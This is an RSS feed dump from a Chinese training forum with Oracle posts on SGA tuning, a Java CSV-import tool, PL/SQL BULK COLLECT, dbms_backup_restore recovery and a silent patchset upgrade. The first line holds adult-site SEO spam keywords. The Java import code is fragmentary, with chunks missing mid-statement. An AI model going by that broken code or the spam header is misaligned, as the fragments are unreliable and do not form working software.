精品久久伦理中文字幕,国产美妇,激情亚洲综合网http://www.bjzhda.cnzh-cn曙海教育集團(tuán)論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團(tuán)論壇Oracle Tuning的一些總結(jié)http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2508&Page=1wangxinxin2010-12-11 11:13:01        本文主要是把一些Oracle Tuning的文章作了一個簡單的總結(jié),力求以實際可操作為目的,配合講解部分理論知識,使大部分具有一般Oracle知識的使用者能夠?qū)racle Tuning有所了解,并且能夠根據(jù)實際情況對某些參數(shù)進(jìn)行調(diào)整。關(guān)于更加詳細(xì)的知識,請參見本文結(jié)束部分所提及的推薦書籍,同時由于該話題內(nèi)容太多且復(fù)雜,本文必定有失之偏頗甚至錯誤的地方,請不吝賜教,并共同進(jìn)步。

1.  SGA的設(shè)置
        在Oracle Tuning中,對SGA的設(shè)置是關(guān)鍵。SGA,是指Shared Global Area , 或者是 System Global Area , 稱為共享全局區(qū)或者系統(tǒng)全局區(qū),結(jié)構(gòu)如下圖所示。


 
        對于SGA區(qū)域內(nèi)的內(nèi)存來說,是共享的、全局的,在UNIX 上,必須為oracle 設(shè)置共享內(nèi)存段(可以是一個或者多個),因為oracle 在UNIX上是多進(jìn)程;而在WINDOWS上oracle是單進(jìn)程(多個線程),所以不用設(shè)置共享內(nèi)存段。

1.1  SGA的各個組成部分
下面用 sqlplus 查詢舉例看一下 SGA 各個組成部分的情況:
SQL> select * from v$sga;
NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size              823164928
Database Buffers          1073741824
Redo Buffers                 172032

或者
SQL> show sga
Total System Global Area   1897183720 bytes
Fixed Size                   104936 bytes
Variable Size              823164928 bytes
Database Buffers          1073741824 bytes
Redo Buffers                 172032 bytes

Fixed Size
        oracle 的不同平臺和不同版本下可能不一樣,但對于確定環(huán)境是一個固定的值,里面存儲了SGA 各部分組件的信息,可以看作引導(dǎo)建立SGA的區(qū)域。

Variable Size
        包含了shared_pool_size、java_pool_size、large_pool_size 等內(nèi)存設(shè)置

Database Buffers
        指數(shù)據(jù)緩沖區(qū),在8i 中包含db_block_buffer*db_block_size、buffer_pool_keep、buffer_pool_recycle 三部分內(nèi)存。在9i 中包含db_cache_size、db_keep_cache_size、db_recycle_cache_size、db_nk_cache_size。

Redo Buffers
       指日志緩沖區(qū),log_buffer。在這里要額外說明一點的是,對于v$parameter、v$sgastat、v$sga查詢值可能不一樣。v$parameter 里面的值,是指用戶在初始化參數(shù)文件里面設(shè)置的值,v$sgastat是oracle 實際分配的日志緩沖區(qū)大小(因為緩沖區(qū)的分配值實際上是離散的,也不是以block 為最小單位進(jìn)行分配的),v$sga 里面查詢的值,是在oracle 分配了日志緩沖區(qū)后,為了保護(hù)日志緩沖區(qū),設(shè)置了一些保護(hù)頁,通常我們會發(fā)現(xiàn)保護(hù)頁大小是8k(不同環(huán)境可能不一樣)。參考如下內(nèi)容
SQL> select substr(name,1,10) name,substr(value,1,10) value
       2 from v$parameter where name = 'log_buffer';
NAME                 VALUE
--------------------  --------------------
log_buffer              163840

SQL> select * from v$sgastat where pool is null;

POOL        NAME                       BYTES
----------- --------------------------                ----------
            fixed_sga                      104936
            db_block_buffers            1073741824
            log_buffer                     163840

SQL> select * from v$sga;

NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size               823164928
Database Buffers           1073741824
Redo Buffers                 172032

172032 – 163840 = 8192

(以上試驗數(shù)據(jù)是在 HP B.11.11 + Oracle 8.1.7.4 環(huán)境下得到的)


1.2  SGA的大小設(shè)置
       在對SGA的結(jié)構(gòu)進(jìn)行簡單分析以后,下面是關(guān)于如何根據(jù)系統(tǒng)的情況正確設(shè)置SGA大小的問題。
SGA是一塊內(nèi)存區(qū)域,占用的是系統(tǒng)物理內(nèi)存,因此對于一個Oracle應(yīng)用系統(tǒng)來說,SGA決不是越大越好,這就需要尋找一個系統(tǒng)優(yōu)化的平衡點。


1.2.1  設(shè)置參數(shù)前的準(zhǔn)備
在設(shè)置SGA的內(nèi)存參數(shù)之前,我們首先要問自己幾個問題
一:物理內(nèi)存多大
二:操作系統(tǒng)估計需要使用多少內(nèi)存
三:數(shù)據(jù)庫是使用文件系統(tǒng)還是裸設(shè)備
四:有多少并發(fā)連接
五:應(yīng)用是OLTP 類型還是OLAP 類型


根據(jù)這幾個問題的答案,我們可以粗略地為系統(tǒng)估計一下內(nèi)存設(shè)置。那我們現(xiàn)在來逐個問題地討論,首先物理內(nèi)存多大是最容易回答的一個問題,然后操作系統(tǒng)估計使用多少內(nèi)存呢?從經(jīng)驗上看,不會太多,通常應(yīng)該在200M 以內(nèi)(不包含大量進(jìn)程PCB)。
接下來我們要探討一個重要的問題,那就是關(guān)于文件系統(tǒng)和裸設(shè)備的問題,這往往容易被我們所忽略。操作系統(tǒng)對于文件系統(tǒng),使用了大量的buffer 來緩存操作系統(tǒng)塊。這樣當(dāng)數(shù)據(jù)庫獲取數(shù)據(jù)塊的時候,雖然SGA 中沒有命中,但卻實際上可能是從操作系統(tǒng)的文件緩存中獲取的。而假如數(shù)據(jù)庫和操作系統(tǒng)支持異步IO,則實際上當(dāng)數(shù)據(jù)庫寫進(jìn)程DBWR寫磁盤時,操作系統(tǒng)在文件緩存中標(biāo)記該塊為延遲寫,等到真正地寫入磁盤之后,操作系統(tǒng)才通知DBWR寫磁盤完成。對于這部分文件緩存,所需要的內(nèi)存可能比較大,作為保守的估計,我們應(yīng)該考慮在 0.2——0.3 倍內(nèi)存大小。但是如果我們使用的是裸設(shè)備,則不考慮這部分緩存的問題。這樣的情況下SGA就有調(diào)大的機(jī)會。
關(guān)于數(shù)據(jù)庫有多少并發(fā)連接,這實際上關(guān)系到PGA 的大小(MTS 下還有l(wèi)arge_pool_size)。事實上這個問題應(yīng)該說還跟OLTP 類型或者OLAP 類型相關(guān)。對于OLTP類型oracle 傾向于可使用MTS,對于OLAP 類型使用獨立模式,同時OLAP 還可能涉及到大量的排序操作的查詢,這些都影響到我們內(nèi)存的使用。那么所有的問題綜合起來,實際上主要反映在UGA的大小上。UGA主要包含以下部分內(nèi)存設(shè)置
SQL> show parameters area_size

NAME                                 TYPE    VALUE
------------------------------------               -------     --------
bitmap_merge_area_size                   integer    1048576
create_bitmap_area_size                   integer    8388608
hash_area_size                           integer     131072
sort_area_size                            integer     65536
SQL>


]]>
4月14日 從文件(*.csv或*.txt)導(dǎo)入Oracle數(shù)據(jù)庫Java源代碼http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2507&Page=1wangxinxin2010-12-11 11:11:37首先需要配置XML文件,如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<DefaultImport>Employee</DefaultImport>
<TargetTable tableName="EMPLOYEE_TEST">
<!--表中對應(yīng)文件的列名和類型信息-->
<ColumnFileInfo>
   <Column name="ID" type="String"/>
   <Column name="DEP" type="String"/>
   <Column name="NAME" type="String"/>
   <Column name="AREA" type="String"/>
   <Column name="AGE" type="Number"/>
   <Column name="SEX" type="String"/>
   <Column name="XUELI" type="String"/>
   <Column name="SALARY" type="Number"/>
   <Column name="PRIX" type="Date"/>
</ColumnFileInfo>
</TargetTable>

<TargetTable tableName="YFJBXX_TEST">
   <ColumnFileInfo>
    <Column name="GLGXZJ" type="String"/>
   <Column name="YXTZJ" type="String"/>  
   <Column name="YFXM" type="String"/>   
   <Column name="JZDZ" type="String"/>   
   <Column name="JZDXZQH_DM" type="String"/>   
   <Column name="HJDZ" type="String"/>   
   <Column name="HJDXZQH_DM" type="String"/>   
   <Column name="SFZH" type="String"/>     
   <Column name="CSRQ" type="String"/>  
   <Column name="MZ_DM" type="String"/>   
   <Column name="WHCD_DM" type="String"/>
   <Column name="HKXZ_DM" type="String"/>
   <Column name="HYZK_DM" type="String"/>
   <Column name="CHRQ" type="String"/>   
   <Column name="JRXTRQ" type="String"/>
   <Column name="TCXTRQ" type="String"/>
   <Column name="TCYY_DM" type="String"/>
   <Column name="ZF_XM" type="String"/>  
   <Column name="ZF_JJDZ" type="String"/>   
   <Column name="ZF_JJDXZQHDM_DM" type="String"/>   
   <Column name="ZF_HJDZ" type="String"/>   
   <Column name="ZF_HJDXZQH_DM" type="String"/>   
   <Column name="ZF_SFZH" type="String"/>   
   <Column name="ZF_CSRQ" type="String"/>   
   <Column name="ZF_MZ_DM" type="String"/>   
   <Column name="ZF_WHCD_DM" type="String"/>
   <Column name="ZF_HKXZ_DM" type="String"/>
   <Column name="LGRZRQ" type="String"/>      
</ColumnFileInfo>
<ColumnCodeInfo>
    <Column name="LRSJ" type="Date"/>
   <Column name="SBPCH" type="String"/>
   <Column name="SBDWXZQH_DM" type="String"/>
</ColumnCodeInfo>
</TargetTable>

<ImportDealClassList>
   <Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>
   <Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>
</ImportDealClassList>
<MaxCommitNumber>5000</MaxCommitNumber>
</root>

文件中描述了2個導(dǎo)入工作:(1)表EMPLOYEE_TEST(2)表YFJBXX_TEST,文件中每張表的列名和類型需要和導(dǎo)入的目標(biāo)表一致,且順序和文件中要導(dǎo)入的內(nèi)容相匹配,例如下面的csv文件:

"ID","DEP","NAME","AREA","AGE","SEX","XUELI","SALARY","PRIX"
"001","研發(fā)","張三","北京","34","女","本科","4546","1"
"002","銷售","李四","天津","45","男","專科","4456","2"

可以看到導(dǎo)入的順序和上述XML文件中的列名一致。

如果從文件導(dǎo)入到數(shù)據(jù)庫中完全匹配,只需配置文件中的<Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>即可,代碼中調(diào)用示例:
    //設(shè)置XML配置文件所在位置
    FileImportInitFactory.setConfigFileName("E:/EclipseProjects/WISImport/bin/fileimport/FileImportConfig.xml");
&nb

sp;   FileImportInitFactory.init();
    HashMap h = new HashMap(1,1);
    //如果有日期型的列,需要設(shè)置DateFormat并放入HashMap中
    h.put("DateFormat","yyyy-MM-dd HH:mm:ss");
    //執(zhí)行導(dǎo)入工作
    new ImportFileEntry().importFile("導(dǎo)入的文件路徑及名稱.csv","YFJBXX_TEST",false,"ImportDirectImpl",h);

ImportFileEntry()的importFile方法說明:
/**
   * 從文件導(dǎo)入到指定表中
   * @param fileName String 要導(dǎo)入文件名
   * @param tableName String 導(dǎo)入目標(biāo)表名
   * @param firstLineRead boolean 是否讀取第一行
   * @param dealClass 處理類名稱(例如配置文件中Bean name="ImportDirectImpl")
   * @param aHashMap 擴(kuò)展用,需特殊處理時可置入變量
   * @throws Exception
   */
public void importFile(String fileName, String tableName, boolean firstLineRead,String dealClass,HashMap aHashMap) throws Exception ;

至此,一個簡單的不需做任何處理直接從文件導(dǎo)入數(shù)據(jù)庫對應(yīng)表的功能就實現(xiàn)了。

但是有些時候我們需要進(jìn)行特殊的處理,例如表中的當(dāng)前操作日期列在導(dǎo)入文件中沒有,需要在代碼中加入,這時就需要實現(xiàn)FileImportInterface接口并加入到配置文件中例如:<Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>,ImportWISImpl的實現(xiàn)代碼見后續(xù)代碼清單。

t;);
            columnListInfoCode[i][0] = columnName;
            columnListInfoCode[i][1] = columnType;
            System.out.println("Code columnName:" + columnName + " columnType:" + columnType);
          }
        }
        //生成實例
        ImportTableInfoBO importAction = new ImportTableInfoBO();
        importAction.setTableName(tableName);
        importAction.setColumnNamesFile(columnListInfoFile);
        if (columnListInfoCode != null) {
          importAction.setColumnNamesCode(columnListInfoCode);
        }
        //放入靜態(tài)容器中
        importJobList.put(tableName, importAction);
      }
      //2.其他配置信息
      Element importDealClassList = (Element) eroot.getElementsByTagName("ImportDealClassList").item(0);
      String className;
      String classFullName;
      NodeList beanList = importDealClassList.getElementsByTagName("Bean");
      for (int j=0; j < beanList.getLength(); j++){
        className = ( (Element) beanList.item(j)).getAttribute("name");
        classFullName = ( (Element) beanList.item(j)).getAttribute("class");
        dealClassList.put(className,classFullName);
      }
     
      System.out.println("importJobList.size()" + importJobList.size());
      System.out.println("dealClassList.size()" + dealClassList.size());

 

;      insertNum = 1;
        } else {
          insertNum++;
        }
      }
    } catch (Exception e) {
      e.printStackTrace();
      //---寫入數(shù)據(jù)庫待加入----
      //log.error(e.getMessage());
    }
}

public void close() {
    if (conn != null) {
      try {
        if (conn != null) {
          DbUtils.commitAndClose(conn);
        System.out.println("close end");
        }
      } catch (SQLException e) {
        e.printStackTrace();
        //log.error(e.getCause());
      }
    }
}

/**
   *
   * @param dateString String
   * @param format String
   * @return Date
   */
public Date formatDate(String dateString,String format){
    try{
      SimpleDateFormat f = new SimpleDateFormat(format);
      return f.parse(dateString);
    }catch(Exception e){
      return null;
    }
}

}


八、調(diào)用示例
package fileimport;

import java.util.HashMap;

public class ImportFileExample {
public ImportFileExample() {
}
public static void main(String[] args) {
   try {
     String ls = "c:/temp/employee_test.csv";

]]>
Oracle PLSQL中用pro進(jìn)行 BULK COLLECT 的高效率查詢處理http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2506&Page=1wangxinxin2010-12-11 11:09:53過程樣例:
create or replace procedure real_user as
  c_count number(10);
begin

  DECLARE
    TYPE mobile_type IS TABLE OF mobile_dabenying.mobile%TYPE;  --按表字段類型來定義變量類型
    t_mobile mobile_type := mobile_type();
  
  BEGIN
    select mobile BULK COLLECT  --批量選擇數(shù)據(jù)
      INTO t_mobile
      from (select mobile from mobile_dabenying order by mobile);
  
    if (t_mobile.COUNT > 0) then
      FOR i IN t_mobile.FIRST .. t_mobile.LAST LOOP
      
        select count(*)  --從號段中過濾
          into c_count
          from mobile_region
         where t_mobile(i) between start_mobile and end_mobile;
      
        if (c_count > 0) then
          c_count := 0;
          insert into mobile_dabenying2 (mobile) values (t_mobile(i));  --真實用戶
        else
          dbms_output.put_line(t_mobile(i));
          insert into mobile_dabenying3 (mobile) values (t_mobile(i));  --假用戶
        end if;
      
      END LOOP;
    end if;
  
  END;

end;]]>
Oracle備份恢復(fù)之利用dbms_backup_restore恢復(fù)數(shù)據(jù)庫http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2505&Page=1wangxinxin2010-12-11 11:08:29引用
RMAN> run {
2> allocate channel ch00 device type disk;
3> backup database include current controlfile format '/backup/full%t' tag='FULLDB';
4> sql 'alter system archive log current';
5> backup archivelog all format '/backup/arch%t' tag='ARCHIVELOG';
6> release channel ch00;
7> }

allocated channel: ch00
channel ch00: sid=17 devtype=DISK

Starting backup at 20-JAN-10
channel ch00: starting full datafile backupset
channel ch00: specifying datafile(s) in backupset
including current controlfile in backupset
input datafile fno=00001 name=/app/oracle/oradata/ora9i/system01.dbf
input datafile fno=00002 name=/app/oracle/oradata/ora9i/undotbs01.dbf
input datafile fno=00005 name=/app/oracle/oradata/ora9i/example01.dbf
input datafile fno=00011 name=/app/oracle/oradata/ora9i/STREAM01.dbf
input datafile fno=00010 name=/app/oracle/oradata/ora9i/xdb01.dbf
input datafile fno=00006 name=/app/oracle/oradata/ora9i/indx01.dbf
input datafile fno=00009 name=/app/oracle/oradata/ora9i/users01.dbf
input datafile fno=00003 name=/app/oracle/oradata/ora9i/cwmlite01.dbf
input datafile fno=00004 name=/app/oracle/oradata/ora9i/drsys01.dbf
input datafile fno=00007 name=/app/oracle/oradata/ora9i/odm01.dbf
input datafile fno=00008 name=/app/oracle/oradata/ora9i/tools01.dbf
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/full708756233 comment=NONE
channel ch00: backup set complete, elapsed time: 00:02:26
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

sql statement: alter system archive log current

Starting backup at 20-JAN-10
current log archived
channel ch00: starting archive log backupset
channel ch00: specifying archive log(s) in backup set
input archive log thread=1 sequence=1 recid=254 stamp=708756150
input archive log thread=1 sequence=2 recid=255 stamp=708756383
input archive log thread=1 sequence=3 recid=256 stamp=708756383
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/arch708756383 comment=NONE
channel ch00: backup set complete, elapsed time: 00:00:02
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-01 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

released channel: ch00

假設(shè)現(xiàn)在數(shù)據(jù)庫異常宕機(jī)
引用
SQL> shutdown abort
ORACLE instance shut down

啟動數(shù)據(jù)庫至nomount狀態(tài)
引用
SQL> startup nomount
ORACLE instance started.

Total System Global Area 1125193868 bytes
Fixed Size                   452748 bytes
Variable Size             335544320 bytes
Database Buffers          788529152 bytes
Redo Buffers                 667648 bytes

1、利用dbms_backup_restore恢復(fù)控制文件
引用

SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate(type => '',ident => 'testctl');
  6  dbms_backup_restore.RestoresetdataFile;
  7  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control01.ctl');
  8  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
  9  dbms_backup_restore.RestoresetdataFile;
10  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control02.ctl');
11  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
12  dbms_backup_restore.RestoresetdataFile;
13  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control03.ctl');
14  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
15  dbms_backup_restore.DeviceDeallocate;
16  END;
17  /

PL/SQL procedure successfully completed.

當(dāng)然也已可用rman進(jìn)行控制文件恢復(fù)
引用
RMAN> restore controlfile from '/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00';

Starting restore at 20-JAN-10

using channel ORA_DISK_1
channel ORA_DISK_1: restoring controlfile
channel ORA_DISK_1: restore complete
replicating controlfile
input filename=/app/oracle/oradata/ora9i/control01.ctl
output filename=/app/oracle/oradata/ora9i/control02.ctl
output filename=/app/oracle/oradata/ora9i/control03.ctl
Finished restore at 20-JAN-10


2、利用dbms_backup_restore恢復(fù)數(shù)據(jù)文件
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testdatafile');
  6  dbms_backup_restore.RestoreSetDatafile;
  7  dbms_backup_restore.RestoreDatafileTo(dfnumber => 1,toname => '/app/oracle/oradata/ora9i/system01.dbf');
  8  dbms_backup_restore.RestoreDatafileTo(dfnumber => 2,toname => '/app/oracle/oradata/ora9i/undotbs01.dbf');
  9  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/full708756233', params => null);
10  dbms_backup_restore.DeviceDeallocate;
11  END;
12  /



PL/SQL procedure successfully completed.

3、利用dbms_backup_restore恢復(fù)歸檔日志
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testarchlog');
  6  dbms_backup_restore.RestoreSetArchivedLog(destination=>'/app/oracle/product/9.0.2/dbs/arch');
  7  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>1);
  8  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>2);
  9  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>3);
10  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/arch708756383', params => null);
11  dbms_backup_restore.DeviceDeallocate;
12  END;
13  /

PL/SQL procedure successfully completed.

]]>
Oracle 靜默模式升級數(shù)據(jù)庫http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2504&Page=1wangxinxin2010-12-11 11:07:00引用
$ oslevel -r
5300-06

升級步驟大致如下:
1、編輯升級介質(zhì)中的../Disk1/response/patchset.rsp文件,主要編輯以下條目
UNIX_GROUP_NAME="oinstall"
FROM_LOCATION="/oracle/Disk1/stage/products.xml"
ORACLE_HOME="/oracle/app/oracle/product/10.2/db_2"
ORACLE_HOME_NAME="OUIHome2"
注意ORACLE_HOME_NAME可以從../oraInventory/ContentsXML/inventory.xml文件中HOME NAME獲取。
2、升級Oracle軟件,刷新數(shù)據(jù)字典,不再贅述
引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp

3、執(zhí)行root.sh
引用
$ su
root's Password:
# /oracle/app/oracle/product/10.2/db_2/root.sh
Running Oracle10 root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /oracle/app/oracle/product/10.2/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The file "dbhome" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "oraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "coraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.


附升級過程顯示日志:

引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp
********************************************************************************

Your platform requires the root user to perform certain pre-installation
OS preparation.  The root user should execute '/usr/sbin/slibclean' on all the nodes before
you proceed with Patchset Installation.

Answer 'y' if root has run '/usr/sbin/slibclean' so you can proceed with Oracle
Patchset installation.
Answer 'n' to abort installation and then ask root to run '/usr/sbin/slibclean'.

********************************************************************************
Has '/usr/sbin/slibclean' been run by root? [y/n] (n)
y

Starting Oracle Universal Installer...

Checking installer requirements...

Checking operating system version: must be 5200, 5300 or 6100
                                      Passed


All installer requirements met.

Preparing to launch Oracle Universal Installer from /tmp/OraInstall2010-02-27_03-32-47AM. Please wait ...$ Oracle Universal Installer, Version 10.2.0.4.0 Production
Copyright (C) 1999, 2008, Oracle. All rights reserved.

You can find a log of this install session at:
/oracle/app/oracle/oraInventory/logs/installActions2010-02-27_03-32-47AM.log
.................................................................................................... 100% Done.


Loading Product Information
.......................................................................................................... 100% Done.


Starting execution of Prerequisites...
Total No of checks: 2

Performing check for checkToInstallCCR
Checking the Components installed in Oracle Home
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
Performing check for CompatibilityChecks
Checking for Oracle Home incompatibilities ...
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
PrereqChecks complete


Analyzing dependencies
............................................................................................................. 100% Done.


-----------------------------------------------------------------------------
Summary
Global Settings
    Source: /oracle/Disk1/stage/products.xml
    Oracle Home: /oracle/app/oracle/product/10.2/db_2 (OUIHome2)
Product Languages
   English
Space Requirements
   /oracle/ Required 3.81GB : Available 7.82GB
   /tmp/ Required 142MB (only as temporary space) : Available 146MB
New Installations (80 products)
   Oracle Notification Service Patch 10.2.0.4.0
   Database Configuration and Upgrade Assistants Patch 10.2.0.4.0
   Character Set Migration Utility Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Oracle JDBC/OCI Instant Client Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Enterprise Manager plugin Common Files Patch 10.2.0.4.0
   SQL*Plus 10.2.0.4.0
   HAS Common Files Patch 10.2.0.4.0
   HAS Files for DB Patch 10.2.0.4.0
   Oracle Java Client Patch 10.2.0.4.0
   Oracle JVM Patch 10.2.0.4.0
   Oracle Internet Directory Client Patch 10.2.0.4.0
   iSQL*Plus 10.2.0.4.0
   Oracle Advanced Security Patch 10.2.0.4.0
   Oracle Net Patch 10.2.0.4.0
   Oracle Net Listener Patch 10.2.0.4.0
   Oracle Wallet Manager Patch 10.2.0.4.0
   Precompiler Common Files Patch 10.2.0.4.0
   Secure Socket Layer Patch 10.2.0.4.0
   Oracle OLAP Patch 10.2.0.4.0
   Oracle OLAP API Patch 10.2.0.4.0
   OLAP SQL Scripts Patch 10.2.0.4.0
   Oracle interMedia Client Option Patch 10.2.0.4.0
   Oracle Database 10g interMedia Files Patch 10.2.0.4.0
   Oracle interMedia Patch 10.2.0.4.0
   PL/SQL Embedded Gateway Patch 10.2.0.4.0
   Oracle XML Development Kit Patch 10.2.0.4.0
   Oracle Text Patch 10.2.0.4.0
   Oracle Clusterware RDBMS Files Patch 10.2.0.4.0
   Database SQL Scripts Patch 10.2.0.4.0
   Oracle Data Mining RDBMS Files Patch 10.2.0.4.0
   Generic Connectivity Common Files Patch 10.2.0.4.0
   Installation Common Files Patch 10.2.0.4.0
   Oracle Starter Database Patch 10.2.0.4.0
   Sample Schema Data Patch 10.2.0.4.0
   Oracle interMedia Locator RDBMS Files Patch 10.2.0.4.0
   Oracle Call Interface (OCI) Patch 10.2.0.4.0
   Oracle OLAP RDBMS Files Patch 10.2.0.4.0
   Oracle Partitioning Patch 10.2.0.4.0
   PL/SQL 10.2.0.4.0
   Oracle Recovery Manager Patch 10.2.0.4.0
   Oracle Database Utilities Patch 10.2.0.4.0
   Oracle interMedia Locator Patch 10.2.0.4.0
   XML Parser for Java Patch 10.2.0.4.0
   Assistant Common Files Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.2 Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.4 Patch 10.2.0.4.0
   Oracle interMedia Java Advanced Imaging Patch 10.2.0.4.0
   SQLJ Runtime Patch 10.2.0.4.0
   XML Parser for Oracle JVM Patch 10.2.0.4.0
   Enterprise Manager Agent DB 10.2.0.4.0
   Enterprise Manager Baseline 10.2.0.4.0
   Oracle Enterprise Manager Console DB 10.2.0.4.0
   XDK Required Support Files Patch 10.2.0.4.0
   Agent Required Support Files Patch 10.2.0.4.0
   DBJAVA Required Support Files Patch 10.2.0.4.0
   LDAP Required Support Files Patch 10.2.0.4.0
   Precompiler Required Support Files Patch 10.2.0.4.0
   Oracle RAC Required Support Files-HAS Patch 10.2.0.4.0
   RDBMS Required Support Files for Instant Client Patch 10.2.0.4.0
   RDBMS Required Support Files Patch 10.2.0.4.0
   SQL*Plus Required Support Files Patch 10.2.0.4.0
   SSL Required Support Files for InstantClient Patch 10.2.0.4.0
   Oracle Net Required Support Files Patch 10.2.0.4.0
   Oracle Globalization Support Patch 10.2.0.4.0
   Oracle Core Required Support Files Patch 10.2.0.4.0
   Platform Required Support Files 10.2.0.4.0
   Oracle Message Gateway Common Files Patch 10.2.0.4.0
   Enterprise Manager Agent Core Patch 10.2.0.4.0a
   Enterprise Manager Common Core Patch 10.2.0.4.0a
   Enterprise Manager Repository Core patch 10.2.0.4.0a
   Oracle Containers for Java 10.2.0.4.0
   Enterprise Manager Repository DB 10.2.0.4.0
   Oracle LDAP administration patch 10.2.0.4.0
   Oracle Required Support Files 32 bit Patch 10.2.0.4.0
   JDBC Common Files 10.2.0.4.0
   Database Workspace Manager 10.2.0.4.0
   Oracle Configuration Manager 10.2.7.1.0
   Oracle Real Application Testing 10.2.0.4.0
Upgrades (5 products)
   Oracle Universal Installer 10.2.0.4.0
   Oracle One-Off Patch Installer 10.2.0.4.0
   Installer SDK Component 10.2.0.4.0
   Java Runtime Environment 1.4.2.14.0
   Sun JDK 1.4.2.14.0
Already Installed (78 products)
   Oracle Notification Service 10.1.0.3.0
   Database Configuration and Upgrade Assistants 10.2.0.1.0
   Character Set Migration Utility 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Oracle JDBC/OCI Instant Client 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Enterprise Manager plugin Common Files 10.2.0.1.0
   SQL*Plus 10.2.0.1.0
   HAS Common Files 10.2.0.1.0
   HAS Files for DB 10.2.0.1.0
   Oracle Java Client 10.2.0.1.0
   Oracle JVM 10.2.0.1.0
   Oracle Internet Directory Client 10.2.0.1.0
   iSQL*Plus 10.2.0.1.0
   Oracle Advanced Security 10.2.0.1.0
   Oracle Net 10.2.0.1.0
   Oracle Net Listener 10.2.0.1.0
   Oracle Wallet Manager 10.2.0.1.0
   Precompiler Common Files 10.2.0.1.0
   Secure Socket Layer 10.2.0.1.0
   Oracle OLAP 10.2.0.1.0
   Oracle OLAP API 10.2.0.1.0
   OLAP SQL Scripts 10.2.0.1.0
   Oracle interMedia Client Option 10.2.0.1.0
   Oracle Database 10g interMedia Files 10.2.0.1.0
   Oracle interMedia 10.2.0.1.0
   PL/SQL Embedded Gateway 10.2.0.1.0
   Oracle XML Development Kit 10.2.0.1.0
   Oracle Text 10.2.0.1.0
   Oracle Clusterware RDBMS Files 10.2.0.1.0
   Database SQL Scripts 10.2.0.1.0
   Oracle Data Mining RDBMS Files 10.2.0.1.0
   Generic Connectivity Common Files 10.2.0.1.0
   Installation Common Files 10.2.0.1.0
   Oracle Starter Database 10.2.0.1.0
   Sample Schema Data 10.2.0.1.0
   Oracle interMedia Locator RDBMS Files 10.2.0.1.0
   Oracle Call Interface (OCI) 10.2.0.1.0
   Oracle OLAP RDBMS Files 10.2.0.1.0
   Oracle Partitioning 10.2.0.1.0
   PL/SQL 10.2.0.1.0
   Oracle Recovery Manager 10.2.0.1.0
   Oracle Database Utilities 10.2.0.1.0
   Oracle interMedia Locator 10.2.0.1.0
   XML Parser for Java 10.2.0.1.0
   Assistant Common Files 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.2 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.4 10.2.0.1.0
   Oracle interMedia Java Advanced Imaging 10.2.0.1.0
   SQLJ Runtime 10.2.0.1.0
